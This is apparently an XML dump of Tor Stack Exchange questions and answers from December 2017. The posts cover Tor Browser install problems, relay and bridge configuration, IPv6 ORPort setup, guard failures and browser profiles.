  <row Id="16283" PostTypeId="2" ParentId="16259" CreationDate="2017-12-16T03:41:37.947" Score="2" Body="&lt;p&gt;Circuits are per-site, not per-tab. When you request a new circuit for the site, all of your tabs for that site will use the new circuit as soon as you click a link or a button or do anything else to cause your browser to make an HTTP request to that site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as pastly said, please do not use Tor for evil. Besides evil being evil, it also gives Tor a bad reputation.&lt;/p&gt;&#xA;" OwnerUserId="19270" LastEditorUserId="19270" LastEditDate="2017-12-16T05:20:22.533" LastActivityDate="2017-12-16T05:20:22.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16287" PostTypeId="1" CreationDate="2017-12-16T15:43:25.183" Score="1" ViewCount="1054" Body="&lt;p&gt;I downloaded Tor and can't for the life of me OPEN it. I am on a Mac os Sierra 10.12.6&#xA;I have spent about 45 minutes with two people and it's just a dead, flat file - more like an image of a file than something that will open. Other files will open, so it's not my mouse or something. I also tried downloading from a different browser. Still nothing. I tried copying it into the applications folder and it's there, but still just flat and won't open. &lt;a href=&quot;https://i.stack.imgur.com/DlzE4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DlzE4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20341" LastEditorUserId="19270" LastEditDate="2018-01-02T12:35:36.903" LastActivityDate="2018-02-01T13:50:46.403" Title="I downloaded Tor and can't for the life of me OPEN it" Tags="|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16289" PostTypeId="2" ParentId="7393" CreationDate="2017-12-16T19:22:39.303" Score="0" Body="&lt;p&gt;While you can safely install the add-on, using userscript opens a whole new set of attack vectors on your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until recently, it was possible to run userscripts using greasmonkey, while disallowing sites to run javascript using the noscript add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that is the case, you are safe since the site cannot detect that you alter their pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the new tor 7.0.x, neither greasemonkey nor tampermonkey seem to work, unless I disable the noscript add-on. :-(&lt;/p&gt;&#xA;" OwnerUserId="20345" LastActivityDate="2017-12-16T19:22:39.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16290" PostTypeId="1" CreationDate="2017-12-16T20:31:14.793" Score="0" ViewCount="619" Body="&lt;p&gt;I have recently installed tor. I cannot open the browser as I am receiving the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unable to save tor setting&#xA;Unable to set option: Failed to bind one of the listener ports&lt;/p&gt;&#xA;" OwnerUserId="20347" LastEditorUserId="12240" LastEditDate="2017-12-17T00:25:40.790" LastActivityDate="2022-03-28T16:04:55.690" Title="Tor launcher error message recieved" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16291" PostTypeId="2" ParentId="16290" CreationDate="2017-12-16T21:20:43.370" Score="0" Body="&lt;p&gt;Sounds like the tor launcher is trying to start the background tor process before opening the browser, but the tor process is already running. I recommend stopping the orphaned tor process and then trying again. There are probably better ways to shut down tor depending on how the launcher starts it but you can try running this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pkill tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or just restart your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows version: &lt;a href=&quot;https://tor.stackexchange.com/questions/16484/i-can-not-start-downloading-tor/16493#16493&quot;&gt;I can not start downloading Tor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19270" LastEditorUserId="19270" LastEditDate="2018-01-17T05:34:12.207" LastActivityDate="2018-01-17T05:34:12.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16299" PostTypeId="1" CreationDate="2017-12-17T00:31:21.067" Score="0" ViewCount="477" Body="&lt;p&gt;What's that about? I had a perfectly fine functioning version of Tor before but it tells me I have to update and whadayaknow, all of sudden I have no access whatsoever. I'm pissed, to be frank. I run a Mac. The .dmg downloads and passes to the applications folder but when I try to open it it says it's damaged and that it should get moved to trash. What!? Help&lt;/p&gt;&#xA;" OwnerUserId="20355" LastActivityDate="2022-03-26T17:02:20.237" Title="Download Tor, but when when I open it says its damaged and should be moved to trash?" Tags="|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16300" PostTypeId="2" ParentId="16299" CreationDate="2017-12-17T01:51:24.020" Score="0" Body="&lt;p&gt;Download &lt;a href=&quot;https://dist.torproject.org/torbrowser/7.0.11/TorBrowser-7.0.11-osx64_en-US.dmg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/7.0.11/TorBrowser-7.0.11-osx64_en-US.dmg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next make sure your Mac is up to date. &quot;open the App Store and click on the updates tab and install any updates&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new folder on the desktop and name it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open the DMG you downloaded and drag TorBrowser into the new folder you created on the Desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open TorBrowser &quot;The one that is in the folder you created.&quot; and it should work&lt;/p&gt;&#xA;" OwnerUserId="20356" LastActivityDate="2017-12-17T01:51:24.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16302" PostTypeId="2" ParentId="16287" CreationDate="2017-12-17T02:12:19.527" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Update your Mac to 10.13.2 (17C88) by opening the App Store and clicking the updates tab, and install any updates you see.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After your Mac is updated, right click on &lt;code&gt;TorBrowser-7.0.11-osx64_en-US.dmg&lt;/code&gt; and click &lt;code&gt;Open&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;a popup should show up. Drag TorBrowser onto the &lt;code&gt;/Applications&lt;/code&gt; folder.&#xA;click on launchpad and TorBrowser should show on one of the pages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you can not find it, open Finder and Click on &lt;code&gt;Applications&lt;/code&gt; and it should be in that list.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20356" LastEditorUserId="88" LastEditDate="2018-02-01T13:50:46.403" LastActivityDate="2018-02-01T13:50:46.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16303" PostTypeId="1" CreationDate="2017-12-17T07:32:49.583" Score="1" ViewCount="429" Body="&lt;p&gt;After ironing out several buggy problems with my Tor relay it's now been in operation for almost sixty days without problems (almost). Have one irritant left but it's not of to much concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System - Ubuntu 16.4 LTS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question - Is it possible to run a bridge on the same computer with the relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guesses - 1. a second version of tor would have to be in operation?&#xA;          2. Is it possible to share ports OR do I have to open two new ports along with the ports currently in operation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question - is there a link for Nyx that works with Ubuntu? Can't seem to find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help! Adri&lt;/p&gt;&#xA;" OwnerUserId="19670" LastActivityDate="2017-12-17T17:30:44.190" Title="Can I operate a relay and Bridge on same computer?" Tags="|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16304" PostTypeId="1" CreationDate="2017-12-17T12:50:37.237" Score="0" ViewCount="990" Body="&lt;p&gt;Is it possible for tor exit nodes, or all nodes to have multiple ip addresses say 2 billion so that they alternate each user request through those ip addresses because presently tor addresses are blacklisted as spam or mistaken for bots, rendering it impossible to browse the internet anonymously.&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2022-03-27T09:07:45.723" Title="Multiple ip addresses for tor exit nodes" Tags="|exit-relays|exit-policies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16305" PostTypeId="1" AcceptedAnswerId="16306" CreationDate="2017-12-17T16:16:27.650" Score="0" ViewCount="715" Body="&lt;p&gt;I recently stumbled upon these new additional flags in the Tor Metrics website:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eJuSn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eJuSn.jpg&quot; alt=&quot;additional flags&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I’d like to configure my tor node to also have the FallbackDir and IPv6 ORPort flags, but don’t know what to add or modify in the /etc/tor/torrc file and how to configure it.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance for the help :)&lt;/p&gt;&#xA;" OwnerUserId="19377" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-12-17T17:13:23.717" Title="Tor node additional flags configuration" Tags="|configuration|anonymity|relays|help|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16306" PostTypeId="2" ParentId="16305" CreationDate="2017-12-17T17:13:23.717" Score="0" Body="&lt;p&gt;&lt;strong&gt;Fallback Directories&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fallback directory mirrors are hard-coded into Tor. You need to have a fast, stable relay with the same IP (v4 and v6) for at least 1-2 years to be considered. More information about fallback directories here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/FallbackDirectoryMirrors&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/FallbackDirectoryMirrors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once or twice a year, a script chooses 150-200 relays from the potential list to be added to the official list. (&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/UpdatingFallbackDirectoryMirrors&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your relay qualifies, send a message to the tor-relays mailing list and ask to have your relay added: &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set &lt;code&gt;ContactInfo&lt;/code&gt; in &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IPv6 ORPort&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get an IPv6 ORPort, your relay needs to have an IPv6 connection and a configured IPv6 ORPort. You can find your IPv6 address using &lt;code&gt;ifconfig&lt;/code&gt; or similar commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your IPv6 address, specify an IPv6 ORPort in your &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort [2001:DB8::1]:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, use your own IPv6 address and your preferred port. More information about IPv6 relays can be found here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/IPv6RelayHowto&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/IPv6RelayHowto&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2017-12-17T17:13:23.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16307" PostTypeId="2" ParentId="16304" CreationDate="2017-12-17T17:20:07.263" Score="0" Body="&lt;p&gt;In short, no. Additionally, having separate IP addresses would not keep Tor from being blacklisted as spam or mistaken for bots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A server can have multiple Internet connections, and therefore have multiple IP addresses, but each instance of Tor can only run on 1 IPv4 address and 1 IPv6 address. The only way for Tor to use a separate IP address for each person would be if there was exactly 1 Tor exit relay for each person. However, this would break anonymity as individual people could be traced to their individual exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor relays publish their IP addresses so clients can connect. It doesn't matter if there are 2 addresses or 2 billion addresses. If somebody wants to blacklist Tor, or mark Tor users as bots, they can easily do so no matter how many addresses Tor has.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rendering it impossible to browse the Internet anonymously.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't understand what you mean here. I have used Tor for quite some time. Yes, some websites block Tor, and most websites require Captcha challenges, but it is far from &quot;impossible&quot; to use Tor to browse the Internet.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2017-12-17T17:20:07.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16308" PostTypeId="2" ParentId="16303" CreationDate="2017-12-17T17:30:44.190" Score="2" Body="&lt;p&gt;You could run a relay and bridge on the same computer if you set up 2 instances of &lt;code&gt;tor&lt;/code&gt;, but this should not be done. From the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#RelayOrBridge&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... ISPs or governments trying to block access to the Tor network can't&#xA;  simply block all bridges.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Being a normal relay vs being a bridge relay is almost the same&#xA;  configuration: it's just a matter of whether your relay is listed&#xA;  publicly or not.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If someone's Internet connection is censored, and they cannot connect to normal Tor relays, they would not be able to connect to your bridge either, because it would have the same IP as the relay you are already running.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2017-12-17T17:30:44.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16309" PostTypeId="2" ParentId="16304" CreationDate="2017-12-17T18:45:43.367" Score="0" Body="&lt;p&gt;Theoretically, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;2 billion&quot;&lt;/em&gt; is infact about half of the entire ipv4 space, so the numbers are unrealistic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; log(2000000000,2)&#xA;30.897352853986263&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you had a large set of IP addresses that were from different ranges, not all in one subnet, then you could try this but &lt;em&gt;eventually&lt;/em&gt; they'd all get blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;blacklisted as spam or mistaken for bots&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This isn't actually a misclassification, Tor gets abused as crawlers/scrapers and comment spam and this is essentially where your plan falls apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People will still abuse IPs from your set, slowly they'll get blacklisted and &lt;em&gt;worse&lt;/em&gt; they won't all be listed as Tor exit nodes, meaning you'll be blamed for all the abusive traffic that is sent over them and will have a hard time proving it &lt;em&gt;wasn't you&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Exit addresses being public does two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It makes it easy for people who simply do not want to handle, or to handle differently, Tor traffic to classify Tor traffic from not Tor traffic in a heuristic way.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It shows that the traffic is from a Tor Exit node, helping to protect the Exit node operator from the actions of Tor users.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So you could attempt this but it would raise suspicion about your relay and you might end up on the hook for what Tor users use it for and eventually your pool of IPs would get blacklisted anyway.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-17T18:45:43.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16310" PostTypeId="1" CreationDate="2017-12-17T19:15:04.150" Score="0" ViewCount="459" Body="&lt;p&gt;I'm having some major problems with my hidden services. I have about 10 sites hosted on my Pi. All of them are very low traffic sites (Maybe about 5-10 visits a day)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only 2-4 sites are working out of those 10 most of the time even though they are set up the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU and RAM usage seem to be bellow 20%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run on a gigabit fiber connection, and connected directly into a Archer C3200 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my tor logs I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your Guard x is failing more circuits than usual. Most likely this means the Tor network is overloaded. Success counts are 102/157. Use counts are 79/79. 102 circuits completed, 0 were unusable, 0 collapsed, and 54 timed out. For reference, your timeout cutoff is 60 seconds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20360" LastActivityDate="2018-10-14T10:00:19.583" Title="Your Guard is failing - Tor Server on Raspberry Pi" Tags="|linux|raspberry-pi|server|web-hosting|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16312" PostTypeId="2" ParentId="16310" CreationDate="2017-12-18T05:32:04.893" Score="1" Body="&lt;p&gt;If your guard node is failing, you could try using a different guard node if you really really want to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/4880/how-to-change-the-entry-node&quot;&gt;How to change the entry node?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But according to this answer, you shouldn't have to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/150/19270&quot;&gt;Should I choose a new guard if the network is overloaded?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are security implications to changing your guard node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/386/why-is-a-longer-guard-rotation-period-with-fewer-guards-better-than-the-other-wa&quot;&gt;Why is a longer guard rotation period with fewer guards better than the other way around?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2017-12-18T05:32:04.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16313" PostTypeId="1" CreationDate="2017-12-18T12:58:28.370" Score="0" ViewCount="389" Body="&lt;p&gt;I set up an ssh tunnel on Tails ( tor -&gt; tunnel -&gt; internet ) to reach tor-unfriendly sites, it does seem to work ( I tested it with electrum ), but when I try to reach it with tor browser by changing the socks5 proxy port, I only get &quot;unable to connect&quot;.&#xA;It there some kind of additional secturity for tor browser that prevents it from using another proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="20367" LastActivityDate="2022-03-28T17:06:25.630" Title="Tails OS : SSH tunnel works but not for tor browser" Tags="|tor-browser-bundle|tails|ssh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16314" PostTypeId="2" ParentId="16098" CreationDate="2017-12-18T20:03:12.230" Score="0" Body="&lt;p&gt;I'm experiencing the same issue on Ubuntu 16.04 as well as 14.04. A non-ideal workaround I've used is to save the file in the &lt;code&gt;/tmp&lt;/code&gt; directory then move it to your desired location from there.&lt;/p&gt;&#xA;" OwnerUserId="20374" LastActivityDate="2017-12-18T20:03:12.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16315" PostTypeId="1" AcceptedAnswerId="16317" CreationDate="2017-12-18T21:25:35.683" Score="0" ViewCount="265" Body="&lt;p&gt;From a running instance of the TOR Browser, how can I show its version?&lt;/p&gt;&#xA;" OwnerUserId="979" LastActivityDate="2017-12-18T22:56:40.950" Title="How to discover the TOR Browser version in a running instance?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16317" PostTypeId="2" ParentId="16315" CreationDate="2017-12-18T22:56:40.950" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Open the &quot;Burger&quot; Menu (looks like ≡)&lt;/li&gt;&#xA;&lt;li&gt;Click on the question mark/help button at the bottom of the &quot;Burger&quot; Menu&lt;/li&gt;&#xA;&lt;li&gt;From there, select &quot;About Tor Browser&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This should open up a new window which will display which version of Tor Browser you are using.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-18T22:56:40.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16318" PostTypeId="2" ParentId="16313" CreationDate="2017-12-18T23:00:54.947" Score="0" Body="&lt;p&gt;Yes, there are extra tests in the browser which try to stop it using a proxy other than Tor's proxy, by comparing the port reported by Tor over the Control Port with the one defined in the proxy settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there are further restrictions set by the firewall that limit your ability to make connections to local services other than those explicitly allowed by the &lt;code&gt;ferm&lt;/code&gt; packet filter rules.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-18T23:00:54.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16322" PostTypeId="1" CreationDate="2017-12-19T20:05:23.947" Score="0" ViewCount="227" Body="&lt;p&gt;I have speed problems on tor with tails. I mean the browsing is very very slow. For example my usual bandwidth is 5,3 &lt;strong&gt;mbit&lt;/strong&gt; and on tor network is 88 &lt;strong&gt;kbit&lt;/strong&gt;. Some guy on #tor@oftc.net are saying that there is an attack (ddos) to some relay... is that true ? all outhere have speed problems on tor ? or it is just me ?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="20389" LastActivityDate="2018-09-17T07:25:11.590" Title="Are there problems on tor netowrk?" Tags="|speed|dos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16323" PostTypeId="1" CreationDate="2017-12-19T22:24:18.987" Score="0" ViewCount="1023" Body="&lt;p&gt;So, we are self employed, and use Craigslist to post ads for our business. Every few months Craigslist goes on a rampage, and starts autoflagging accounts for no good reason using IP addresses. Not going to get into all of those details here. Anyhow, we are trying to figure out how to post from the US using Tor, as Craigslist has blacklisted most of the identities we are getting from Tor now. Is there a way to fix this? Any help would be greatly appreciated, thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="20390" LastActivityDate="2017-12-21T18:05:49.620" Title="I am using the Tor browser to post ads on Craigslist, is there a way to post from the US?" Tags="|help|" AnswerCount="1" CommentCount="1" ClosedDate="2018-01-08T18:25:54.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="16324" PostTypeId="2" ParentId="16322" CreationDate="2017-12-19T23:34:10.407" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Some guy on #tor@oftc.net are saying that there is an attack (ddos) to some relay... is that true ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not for all relays, at least (I operate one). There are around &lt;a href=&quot;https://metrics.torproject.org/networksize.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;6000-7000 relays&lt;/a&gt;, its unlikely any attacker would be able to siginificantly impact the entire Tor network at once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, I've experienced no speed losses myself so even if one could, they're not currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should investigate this locally, try pluggable transports like &lt;code&gt;obfs4&lt;/code&gt; or &lt;code&gt;meek&lt;/code&gt; with &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges&lt;/a&gt; to ensure your ISP isn't throttling Tor connection speeds.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-19T23:34:10.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16325" PostTypeId="1" AcceptedAnswerId="16328" CreationDate="2017-12-20T13:53:18.357" Score="0" ViewCount="145" Body="&lt;p&gt;I use google translate my two questions: Is it possible to learn the ip through html5 video if I have an android and orfox orbot&#xA;or through a PC with Windows 7 and tor browser?&lt;/p&gt;&#xA;" OwnerDisplayName="user20397" LastActivityDate="2017-12-20T23:27:01.893" Title="Html5 android and win pc" Tags="|tor-browser-bundle|windows|html5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16326" PostTypeId="1" CreationDate="2017-12-20T20:11:16.570" Score="3" ViewCount="3371" Body="&lt;p&gt;Firefox allows for the ability to use multiple profiles by starting the browser from the command line as such:&#xA;&lt;code&gt;firefox --ProfileManager&lt;/code&gt;&#xA;Or more directly:&#xA;&lt;code&gt;firefox --CreateProfile&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, despite being included in &lt;code&gt;tor --help&lt;/code&gt; , these commands do not work when I replace &lt;code&gt;firefox&lt;/code&gt; with &lt;code&gt;tor&lt;/code&gt;. The browser starts normally without any other options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a workaround to navigate this important Firefox functionality to the Tor Browser? I'm running Ubuntu. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20401" LastActivityDate="2017-12-20T23:22:08.157" Title="How to use multiple profiles with Tor?" Tags="|configuration|firefox|ubuntu|terminal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16327" PostTypeId="2" ParentId="16326" CreationDate="2017-12-20T23:22:08.157" Score="3" Body="&lt;p&gt;This won't work, given that Tor Browser ships with a specific default profile which it uses, and needs to use to operate properly, creating and utilising different profiles will cause issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, have multiple installations of Tor Browser (each extracted to a distinct folder) which will provide superior isolation between identities and profiles for each.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-20T23:22:08.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16328" PostTypeId="2" ParentId="16325" CreationDate="2017-12-20T23:27:01.893" Score="1" Body="&lt;p&gt;No, HTML5 video on Orfox and Tor Browser &lt;em&gt;should&lt;/em&gt; go over the Tor network and &lt;em&gt;should not&lt;/em&gt; reveal a users IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot say there are not, or will never be any bugs but efforts have been made to ensure that they do properly utilise Tor and don't leak.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-20T23:27:01.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16329" PostTypeId="1" CreationDate="2017-12-21T00:39:43.410" Score="0" ViewCount="259" Body="&lt;p&gt;I have an application that I run that is security minded. It runs Tor 0.2.5.1 and i was wondering if OBFS4 was added to tor before or after this version, does anyone know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(its daemon and runs in background so its not like i can check the drop-down.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked google and didn't see anything there and have also done a quick search on tor's website.&lt;/p&gt;&#xA;" OwnerUserId="20405" LastActivityDate="2022-03-31T09:02:55.357" Title="First version of TOR with obfs4" Tags="|obfs4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16333" PostTypeId="1" CreationDate="2017-12-21T08:37:21.917" Score="0" ViewCount="509" Body="&lt;p&gt;My new Raspberry Pi 3 relay was relaying 2 MBps using maybe 80% CPU for a few days. But suddenly, just today, it jumped to using 380% CPU, using almost all of each of the 4 cores to serve the same amount of data. I set the bandwidth limit to 1 MBps now and it's still using 200% CPU. I know Tor uses a lot of CPU, but isn't something wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a while, just serving 2 MBps, my relay was getting warnings: “Your computer is too slow to handle this many circuit creation requests!”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My CPU is over 80 degrees celsius :o&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried upgrading from stable to 0.3.2.7-rc, but that didn't help the temperature or CPU usage. Not sure if the circuit warnings are gone for good.&lt;/p&gt;&#xA;" OwnerUserId="19270" LastActivityDate="2022-03-31T12:08:05.747" Title="Disproportionate CPU usage" Tags="|relays|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
